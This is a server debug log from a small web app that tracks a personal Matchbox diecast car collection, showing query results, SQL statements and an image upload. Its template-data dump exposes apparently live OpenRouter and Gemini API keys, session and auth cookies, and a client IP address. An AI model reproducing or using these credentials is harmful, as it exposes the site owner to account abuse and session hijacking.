      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 85,
      model_name: 'Masserti Grandturismo Folgore',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-28T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 84,
      model_name: 'Nissan Sentra 2016',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-22T18:30:00.000Z',
      price: '167.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 83,
      model_name: 'Nissan Arya Pole to Pole 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-07T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 82,
      model_name: ' MBX Turf Hauler II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'MBX',
      vehicle_brand_id: 155,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 81,
      model_name: ' Dodge Durango 2018',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 80,
      model_name: 'Polaris RZR Pro R 4 Sport 2025',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Polaris ',
      vehicle_brand_id: 154,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 79,
      model_name: 'Subaru J WRX S4 STI 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-15T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Subaru',
      vehicle_brand_id: 153,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 78,
      model_name: 'Ford E Transit 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 77,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 76,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 75,
      model_name: 'Volva 1986 240 Sedan',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 72,
      model_name: 'Alfa Romeo Duetto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-22T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 71,
      model_name: '1966 Land Rover Gen 11 Safari',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 70,
      model_name: '1963 Ford Thunderbird',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T06:47:40.767Z server-connect:router Serving templateView /
2026-02-04T06:47:40.768Z server-connect:app Executing action step identify
2026-02-04T06:47:40.768Z server-connect:app options: { provider: 'security' }
2026-02-04T06:47:40.768Z server-connect:output identity: 1
2026-02-04T06:47:40.768Z server-connect:app Executing action step restrict
2026-02-04T06:47:40.768Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T06:47:40.768Z server-connect:output restrict: undefined
2026-02-04T06:47:40.768Z server-connect:app Executing action step restrict
2026-02-04T06:47:40.768Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T06:47:40.769Z server-connect:output restrict: undefined
2026-02-04T06:47:40.769Z server-connect:router Render template layouts/main
2026-02-04T06:47:40.769Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=73',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=73',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T06:47:50.308Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T06:47:50.309Z server-connect:app Executing action step identify
2026-02-04T06:47:50.309Z server-connect:app options: { provider: 'security' }
2026-02-04T06:47:50.309Z server-connect:output identity: 1
2026-02-04T06:47:50.309Z server-connect:app Executing action step restrict
2026-02-04T06:47:50.309Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:47:50.310Z server-connect:output restrict: undefined
2026-02-04T06:47:50.310Z server-connect:app Executing action step condition
2026-02-04T06:47:50.310Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T06:47:50.310Z server-connect:app Executing action step update
2026-02-04T06:47:50.310Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T06:47:50.311Z server-connect:output update: { affected: 1 }
2026-02-04T06:47:50.311Z server-connect:app Executing action step upload
2026-02-04T06:47:50.311Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T06:47:50.311Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T06:47:50.311Z server-connect:upload Process fields: 'images[]'
2026-02-04T06:47:50.311Z server-connect:upload Processing file: {
  name: 'Screenshot 2026-02-04 105215.jpg',
  data: <Buffer >,
  size: 113899,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-29-20378841770187670307',
  truncated: false,
  mimetype: 'image/jpeg',
  md5: '01960215ef211cb98d1c92bece622d2f',
  mv: [Function: mv]
}
2026-02-04T06:47:50.311Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/Screenshot_2026-02-04_105215_732f0536-628c-4a1a-ab8e-2b6fe3b4aca4.jpg',
  rel: 'public/assets/images/diecast/Screenshot_2026-02-04_105215_732f0536-628c-4a1a-ab8e-2b6fe3b4aca4.jpg'
}
2026-02-04T06:47:50.311Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/Screenshot_2026-02-04_105215_732f0536-628c-4a1a-ab8e-2b6fe3b4aca4.jpg',
  rel: 'assets/images/diecast/Screenshot_2026-02-04_105215_732f0536-628c-4a1a-ab8e-2b6fe3b4aca4.jpg'
}
2026-02-04T06:47:50.311Z server-connect:output upload_image: [
  {
    name: 'Screenshot_2026-02-04_105215_732f0536-628c-4a1a-ab8e-2b6fe3b4aca4.jpg',
    path: '/public/assets/images/diecast/Screenshot_2026-02-04_105215_732f0536-628c-4a1a-ab8e-2b6fe3b4aca4.jpg',
    url: '/assets/images/diecast/Screenshot_2026-02-04_105215_732f0536-628c-4a1a-ab8e-2b6fe3b4aca4.jpg',
    type: 'image/jpeg',
    size: 113899
  }
]
2026-02-04T06:47:50.311Z server-connect:app Executing action step repeat
2026-02-04T06:47:50.311Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T06:47:50.311Z server-connect:app Executing action step insert
2026-02-04T06:47:50.311Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T06:47:50.311Z server-connect:output images: { affected: 1, identity: 180 }
2026-02-04T06:47:50.311Z server-connect:output repeat_images: [ {} ]
2026-02-04T06:47:50.311Z server-connect:output condition: undefined
2026-02-04T06:47:50.567Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T06:47:50.567Z server-connect:app Executing action step identify
2026-02-04T06:47:50.567Z server-connect:app options: { provider: 'security' }
2026-02-04T06:47:50.567Z server-connect:output identity: 1
2026-02-04T06:47:50.567Z server-connect:app Executing action step restrict
2026-02-04T06:47:50.567Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:47:50.568Z server-connect:output restrict: undefined
2026-02-04T06:47:50.568Z server-connect:app Executing action step paged
2026-02-04T06:47:50.568Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T06:47:50.570Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 30,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 85,
      model_name: 'Masserti Grandturismo Folgore',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-28T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 84,
      model_name: 'Nissan Sentra 2016',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-22T18:30:00.000Z',
      price: '167.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 83,
      model_name: 'Nissan Arya Pole to Pole 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-07T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 82,
      model_name: ' MBX Turf Hauler II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'MBX',
      vehicle_brand_id: 155,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 81,
      model_name: ' Dodge Durango 2018',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 80,
      model_name: 'Polaris RZR Pro R 4 Sport 2025',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Polaris ',
      vehicle_brand_id: 154,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 79,
      model_name: 'Subaru J WRX S4 STI 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-15T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Subaru',
      vehicle_brand_id: 153,
